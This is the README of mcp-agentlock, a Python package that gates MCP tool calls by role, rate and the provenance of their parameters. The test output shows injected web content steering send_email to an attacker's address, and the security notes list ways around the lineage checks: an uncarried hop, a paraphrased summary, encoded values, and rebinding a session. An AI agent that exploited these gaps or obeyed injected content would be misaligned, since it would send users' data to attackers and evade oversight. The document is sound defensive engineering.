mcp-agentlock

Per-tool authorization for MCP servers. Every tool call gated, logged, and bound to a single-use token.

The Problem

MCP standardises how a server advertises tools and how a client invokes them. It does not standardise who may invoke what. A server that lists a tool has offered it to whatever client holds the connection, on whatever arguments the model produces. mcp-agentlock inserts an authorization gate between the dispatch and the tool body, so that a call is evaluated on identity, role, scope, rate, and the provenance of its own parameters before it runs.

Install

pip install mcp-agentlock

Quick Start

from typing import Any

import mcp.types as types
from agentlock import AgentLockPermissions, AuthorizationGate, ContextSource
from agentlock.schema import LineagePolicyConfig
from mcp.server.lowlevel import Server

from mcp_agentlock import ToolGuard, lock_call_tool

gate = AuthorizationGate()
server: Server[Any] = Server("my-server")

@lock_call_tool(
    server,
    gate,
    tools={
        "web_fetch": ToolGuard(
            AgentLockPermissions(risk_level="low", allowed_roles=["analyst"]),
            context_source=ContextSource.WEB_CONTENT,   # the lever
        ),
        "send_email": ToolGuard(
            AgentLockPermissions(
                risk_level="high",
                allowed_roles=["analyst"],
                rate_limit={"max_calls": 5, "window_seconds": 60},
                lineage_policy=LineagePolicyConfig(
                    enabled=True,
                    param_lineage_enabled=True,
                    param_lineage_action="deny",
                ),
            )
        ),
    },
    identity_resolver=resolve_identity,   # see examples/basic_server.py
)
async def call_tool(name: str, arguments: dict[str, Any]) -> list[types.ContentBlock]:
    ...

lock_call_tool is a drop-in for @server.call_tool(). The guard sits inside it, so the SDK's input validation and result normalisation still run on the outside and a denial comes back as an ordinary isError result rather than a dropped connection.

A tool with no entry in tools and no "*" fallback is denied, not dispatched. Deny by default applies to the dispatch table itself: a tool added to the server but forgotten here is unreachable, never unprotected.

The Source Lever

The one field that turns provenance tracking into enforcement:

"web_fetch": ToolGuard(perms, context_source=ContextSource.WEB_CONTENT)

context_source declares what kind of content a tool returns. It defaults to TOOL_OUTPUT, which the gate resolves to DERIVED authority and which changes nothing. Pass WEB_CONTENT, RETRIEVED_DOCUMENT, or PEER_AGENT for a tool whose output an attacker can reach, and the gate resolves those to UNTRUSTED, which is what arms the lineage checks against that tool's output.

Trusted by default, untrusted opt-in. Adding the guard to an existing server changes no behaviour until you pull this lever.

Proof

The end-to-end tests drive a real mcp.server.lowlevel.Server over the SDK's in-memory transport: client call_tool request, SDK input validation, guarded handler, tool body, ingestion write, SDK result normalisation, client response. No network, no mocks of the SDK.

test_source_lever_flips_allow_to_deny runs that path twice. Identical servers, identical calls, identical parameters. The only difference is the context_source declared on the fetch tool, and the test asserts the two outcomes differ rather than asserting each one separately. Rendered from the same test helpers:

--- fetch context_source = TOOL_OUTPUT (default, trusted)
    provenance authority : derived
    sink send_email(to=PAYLOAD) isError = False
    sink output: sent to attacker-drop-box@evil-example.test

--- fetch context_source = WEB_CONTENT (lever pulled)
    provenance authority : untrusted
    sink send_email(to=PAYLOAD) isError = True
    sink output: Tool 'send_email' denied (decision=deny, reason=param_lineage).
                 Parameter 'to' carries a value that originated in untrusted
                 context (web_fetch:cprov_eeaacc5dcd1...)

The denial cites the provenance id of the entry that caused it, so the origin and the consequence join in the audit log.

pytest        # 72 passed, 2 skipped

The two skips are the pre-threading rows in tests/test_carriage.py, which go dormant once the adapter threads a call's arguments to the ingestion write. They are mirrored against the live rows rather than deleted, so the file measures the change from both sides.

Boundaries and Security Notes

Three things to know before deploying this.

1. Enforcement is cross-hop, bounded by carriage

Lineage catches a value that flows from an untrusted tool's output directly into a later tool call, and it also catches one laundered through an intermediate hop. The guard passes each call's arguments to the ingestion write, so the engine's containment linker records a cross-hop parent link whenever a call's parameters carry a prior entry's content. Decision-time checks walk those recorded links. Tool A returns untrusted text, tool B is called with that text and emits a rewritten form, tool C is called with the rewritten value: C is denied with reason param_lineage, and the denial cites B's provenance entry, the relay the value came through, rather than A's.

The boundary is carriage, not hop count. Three things still bound it:

• An uncarried value produces no link. If B is invoked without A's content, nothing was carried, no parent is recorded, and the rewritten value reaches C. This is what test_two_hop_laundering_slips pins, and it is why that test still asserts the laundered value is delivered.
• Linking requires whole-content carriage. A prior entry's entire recorded content has to appear inside one of the call's argument values and clear the engine's containment floor. A partial quotation, or a summary the model composed rather than passed through, does not link.
• Encoded forms are measured at the engine, not here. No encoded corpus runs through this adapter, so no adapter-level claim about encoded values is made. See the engine's own limitations record.

Both directions are pinned by tests/test_carriage.py, which measures the carried session against the uncarried one rather than asserting either alone. Same behavior as crewai-agentlock.

2. Lineage is scoped per user_id, not per connection

The gate resolves the session it evaluates with get_by_user(user_id), and holds one active session per user. Two MCP connections that authenticate as the same user_id therefore share one provenance context: content that enters context on one connection can deny a call on the other.

For single-user servers and for deployments where distinct callers have distinct user_ids, this is what you want, and taint follows the user across reconnects. It is a consideration when one user runs several independent agent sessions concurrently, since those sessions are not isolated from each other. Deployments that need per-session isolation should map each session to its own user_id rather than relying on the MCP connection id, which the gate does not consult.

3. bind_session is a trust boundary

This is the single most important operational rule in the package. Call bind_session only from the layer that authenticates the connection: a server lifespan, ASGI middleware that has already validated a bearer token, or a controlled test harness. Never from a tool body, and never from anything the model can reach.

The bound identity is the one input the agent must not be able to choose. An agent that can call bind_session can rebind itself to another user_id and step outside the provenance context that its own earlier calls contaminated, which discards the lineage enforcement described above. The same applies to any identity_resolver that derives identity from tool arguments: those are model-controlled, which is why no built-in resolution step reads them.

Sessions

MCP does not expose a session id to a tool call. ServerSession carries no id attribute; the mcp-session-id that streamable HTTP mints lives on StreamableHTTPServerTransport, which is not reachable from the request context; stateless HTTP passes None; stdio has no session concept. So the connection id is derived here, from the identity of the ServerSession object the SDK creates once per connection, held in a WeakKeyDictionary that drops it when the connection closes.

That id is then mapped to an AgentLock session, which is the load-bearing part. AuthorizationGate.authorize resolves the session it evaluates with get_by_user(user_id) and reads that session's provenance log. An ingestion write addressed to the MCP connection id instead would file the evidence where no lineage check ever looks, and every enforcement test would pass vacuously against an empty log. bind_session creates the mapping; the guard resolves the write target the same way the gate does, so the two can never disagree.

from mcp_agentlock import bind_session

# From the layer that authenticates the connection. Never from a tool body.
bind_session(gate, user_id="analyst-1", role="analyst")

Identity resolution precedence, highest first:

1. identity_resolver(tool_name, arguments, request_context)
2. the SessionBinding attached to this MCP connection
3. the AuthContext set by an enclosing agentlock_session()
4. the guard's default_* arguments
5. empty, which denies anything requiring auth

arguments is passed to the resolver but never read for identity by any built-in step: it is the one input the model controls.

Execution Reporting

AuthorizationGate.execute is synchronous and MCP handlers are coroutines, so this adapter does not hand the gate its execution. It consumes the single-use token itself and reports the attempt and the outcome through begin_execution / confirm_execution, the engine's own path for callers that own their executor. The audit trail is equivalent; records carry reported_by="caller" rather than "gate". Failures are recorded with status="failed" and the exception type, then re-raised unchanged.

License

This package is AGPL-3.0-or-later. See LICENSE for the full text.

It depends on AgentLock, which is licensed AGPL-3.0-or-later from v1.3.0 onward (verified at tags v1.2.1, the last Apache-2.0 line, and v1.3.0 and v1.5.0, both AGPL; the 1.7.0 floor below verified as AGPL-3.0-or-later from the published PyPI wheel's License-Expression metadata), and this package requires agentlock>=1.7. Both sides of the dependency are therefore AGPL: if you run this in a network service or distribute software built on it, the AGPL's terms apply to the combined work, including its source-availability requirement for users who interact with it over a network. Commercial licenses that remove the AGPL obligations are available at licensing@agentlock.dev.

Read the AGPL and take your own advice on what it requires of you. This note is a pointer, not legal advice.